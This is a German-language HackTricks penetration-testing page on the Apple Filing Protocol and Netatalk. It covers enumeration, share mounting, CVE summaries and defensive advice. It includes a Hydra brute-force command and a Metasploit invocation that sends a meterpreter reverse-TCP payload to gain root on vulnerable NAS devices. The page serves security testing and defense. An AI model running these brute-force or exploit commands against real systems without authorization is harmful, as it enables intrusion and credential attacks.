548 - Pentesting Apple Filing Protocol (AFP)

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Grundlegende Informationen

Die Apple Filing Protocol (AFP), früher bekannt als AppleTalk Filing Protocol, ist ein spezialisiertes Netzwerkprotokoll im Rahmen des Apple File Service (AFS). Es wurde entwickelt, um Dateidienste für macOS und das klassische Mac OS bereitzustellen. AFP zeichnet sich dadurch aus, dass es Unicode-Dateinamen, POSIX-style- und ACL-Berechtigungen, resource forks, named extended attributes sowie ausgefeilte Dateisperrmechanismen unterstützt.

Obwohl AFP in modernen macOS-Versionen durch SMB ersetzt wurde (SMB ist seit OS X 10.9 Standard), tritt es immer noch auf in:

  • Legacy macOS / Mac OS 9-Umgebungen
  • NAS-Appliances (QNAP, Synology, Western Digital, TrueNAS…) die den Open-Source-Daemon Netatalk einbetten
  • Mixed-OS-Netzwerke, in denen Time-Machine-over-AFP noch aktiviert ist

Standard-TCP-Port: 548 (AFP over TCP / DSI)

PORT     STATE SERVICE
548/tcp  open  afp

Enumeration

Quick banner / server info

# Metasploit auxiliary
use auxiliary/scanner/afp/afp_server_info
run RHOSTS=<IP>

# Nmap NSE
nmap -p 548 -sV --script "afp-* and not dos" <IP>

Useful AFP NSE scripts:

ScriptWas es macht
afp-lsListet verfügbare AFP-Volumes und Dateien auf
afp-brutePassword brute-force gegen AFP-Login
afp-serverinfoGibt Servernamen, Gerätetyp, AFP-Version, unterstützte UAMs usw. aus
afp-showmountListet Shares zusammen mit ihren ACLs auf
afp-path-vulnErkennt (und kann ausnutzen) directory-traversal, CVE-2010-0533

Das NSE brute-force script kann mit Hydra/Medusa kombiniert werden, wenn mehr Kontrolle erforderlich ist:

hydra -L users.txt -P passwords.txt afp://<IP>

Wenn du bereits credentials hast, Nmap’s AFP scripts werden dadurch deutlich nützlicher, weil afp-serverinfo die beworbenen UAMs leaks (Authentifizierungsmethoden), während afp-showmount und afp-ls erreichbare Shares, ACLs und interessante Dateien auflisten können:

nmap -p 548 --script afp-serverinfo,afp-showmount,afp-ls \
--script-args 'afp.username=<USER>,afp.password=<PASS>,ls.maxdepth=2,ls.maxfiles=50' <IP>
  • Machine Type: Netatalk in der Ausgabe von afp-serverinfo, was in der Regel einen NAS/Unix-Host und nicht Apples eigene AFP-Implementierung bedeutet.
  • UAMs wie DHX, DHX2, Cleartxt oder Guest, da sie direkt auf erreichbare Anmeldewege hinweisen und ob veraltete/schwache Authentifizierung aktiviert ist.
  • Share ACLs von afp-showmount; weltweit lesbare oder drop-box-ähnliche shares geben oft Backups, .appl-Dateien und Benutzermetadaten preis, noch bevor Sie das Volume einbinden.

Interaktion mit shares

macOS

# Finder → Go → "Connect to Server…"
# or from terminal
mkdir /Volumes/afp
mount_afp afp://USER:[email protected]/SHARE /Volumes/afp

Linux (mit afpfs-ng ‑ in den meisten Distros enthalten)

apt install afpfs-ng
mkdir /mnt/afp
mount_afp afp://USER:[email protected]/SHARE /mnt/afp
# or interactive client
afp_client <IP>

Sobald eingebunden, denke daran, dass klassische Mac-Resource-Forks als versteckte ._* AppleDouble-Dateien gespeichert werden – diese enthalten oft interessante Metadaten, die DFIR tools übersehen.

Bei Netatalk-Zielen ist dieses Metadaten-Backend ebenfalls relevant für die Exploitierbarkeit:

  • ea = ad bedeutet, dass Metadaten in AppleDouble v2-Dateien / .AppleDouble-Verzeichnissen gespeichert werden.
  • ea = sys oder ea = samba speichert Metadaten stattdessen in Extended Attributes des Dateisystems.
  • In Netatalk 4.2+ wurde die alte Option appledouble entfernt und das Backend wird ausschließlich über die Option ea gesteuert.

Aus offensiver Sicht erlaubt dir das, schnell zu entscheiden, ob AppleDouble-orientierte bugs auf dem Server eher erreichbar sind.


Häufige Schwachstellen & Exploitation

Netatalk unauthenticated RCE chain (2022)

Mehrere NAS-Hersteller haben Netatalk ≤3.1.12 ausgeliefert. Ein fehlendes Bounds-Checking in parse_entries() ermöglicht es einem Angreifer, einen bösartigen AppleDouble-Header zu erstellen und remote root vor der Authentifizierung zu erlangen (CVSS 9.8 – CVE-2022-23121). Ein vollständiger Write-up von NCC Group mit PoC, das Western-Digital PR4100 ausnutzt, ist verfügbar.

Metasploit (>= 6.3) enthält das Modul exploit/linux/netatalk/parse_entries, das das Payload über DSI WRITE liefert.

use exploit/linux/netatalk/parse_entries
set RHOSTS <IP>
set TARGET 0   # Automatic (Netatalk)
set PAYLOAD linux/x64/meterpreter_reverse_tcp
run

Wenn das Ziel eine betroffene QNAP-/Synology-Firmware ausführt, führt eine erfolgreiche Ausnutzung zu einer Shell als root.

Netatalk OpenSession heap overflow (2018)

Ältere Netatalk-Versionen (3.0.0 - 3.1.11) sind verwundbar gegenüber einem out-of-bounds write im DSI OpenSession-Handler, was unauthenticated code execution ermöglicht (CVE-2018-1160). Eine detaillierte Analyse und ein PoC wurden von Tenable Research veröffentlicht.

Newer Netatalk attack surface (2022-2024)

Neuere Netatalk-Advisories zeigen, dass die Angriffsfläche nicht mehr auf parse_entries() und die OpenSession-Behandlung beschränkt ist:

  • CVE-2022-45188: Eine speziell gestaltete .appl-Datei kann einen heap overflow in afp_getappl auslösen; das ist besonders relevant, wenn Sie Dateien in ein Share schreiben können und der Server FCE / notify-Features betreibt.
  • CVE-2023-42464: Ein type confusion-Bug in den Spotlight RPC-Handlern kann erreichbar werden, wenn spotlight = yes in afp.conf aktiviert ist (standardmäßig deaktiviert).
  • CVE-2024-38439 / CVE-2024-38440 / CVE-2024-38441: Ein-Byte-Heap-out-of-bounds-Writes in login-bezogenen Pfaden, behoben in Netatalk 2.4.1 / 3.1.19 / 3.2.1. Diese Bugs sind interessant, weil die Exploitierbarkeit von den konfigurierten UAMs abhängt:
    • uams_clrtxt.so + PAM-gestütztes ClearTxt-Login macht den FPLoginExt-Pfad relevant für CVE-2024-38439.
    • uams_dhx.so + PAM-gestütztes DHX-Login erreicht den verwundbaren Pfad für CVE-2024-38440.
    • uams_guest.so hält den Guest-Login-Pfad für CVE-2024-38441 erreichbar.

Das bedeutet, die Ausgabe von afp-serverinfo ist nicht nur Fingerprinting-Data; sie hilft Ihnen zu entscheiden, welcher login parser exponiert ist, bevor Sie Zeit in Exploit-Entwicklung oder NAS-Firmware-Triage investieren.

Other notable issues

  • CVE-2022-22995 – Symlink-Weiterleitung, die zu arbitrary file write / RCE führt, wenn AppleDouble v2 aktiviert ist (3.1.0 - 3.1.17).
  • CVE-2010-0533 – Directory traversal in Apple Mac OS X 10.6 AFP (detected by afp-path-vuln.nse).
  • Mehrere Memory-Safety-Bugs wurden erneut in den 2024 Netatalk releases behoben; wenn Sie Netatalk in afp-serverinfo identifizieren, nehmen Sie sich eine Minute, um die exponierten UAMs / Spotlight / metadata backend mit der Server-Version zu korrelieren, bevor Sie davon ausgehen, dass nur die 2018/2022-Bugs relevant sind.

Defensive Recommendations

  1. Disable AFP es sei denn, es ist zwingend erforderlich – verwenden Sie stattdessen SMB3 oder NFS.
  2. Falls AFP bleiben muss, upgraden Sie Netatalk auf ≥ 3.1.18 oder 4.x, oder wenden Sie Vendor-Firmware an, die die 2022/2023/2024-Patches backportet.
  3. Durchsetzen von starken UAMs (z. B. DHX2), Clear-Text- und Guest-Logins deaktivieren.
  4. Beschränken Sie TCP 548 auf vertrauenswürdige Subnetze und kapseln Sie AFP in ein VPN, wenn es remote exponiert ist.
  5. Scannen Sie periodisch mit nmap -p 548 --script afp-* in CI/CD, um rogue / downgraded Appliances zu entdecken.

Brute-Force

References

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks